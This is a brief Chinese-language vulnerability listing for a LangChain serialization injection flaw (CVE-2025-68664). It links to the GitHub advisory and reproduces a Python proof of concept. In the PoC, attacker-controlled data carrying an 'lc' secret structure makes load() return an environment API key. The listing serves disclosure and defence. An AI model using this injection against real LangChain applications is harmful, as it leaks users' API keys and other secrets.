LangChain 序列化注入漏洞(CVE-2025-68664)

日期: 2025-12-24 | 影响软件: LangChain | POC: 已公开

漏洞描述

LangChain 序列化注入漏洞(CVE-2025-68664)

PoC代码[已公开]

https://github.com/langchain-ai/langchain/security/advisories/GHSA-c67j-w6g6-q2cm

from langchain_core.load import dumps, load
import os

# Attacker injects secret structure into user-controlled data
attacker_dict = {
    "user_data": {
        "lc": 1,
        "type": "secret",
        "id": ["OPENAI_API_KEY"]
    }
}

serialized = dumps(attacker_dict)  # Bug: does NOT escape the 'lc' key

os.environ["OPENAI_API_KEY"] = "sk-secret-key-12345"
deserialized = load(serialized, secrets_from_env=True)

print(deserialized["user_data"])  # "sk-secret-key-12345" - SECRET LEAKED!

相关漏洞推荐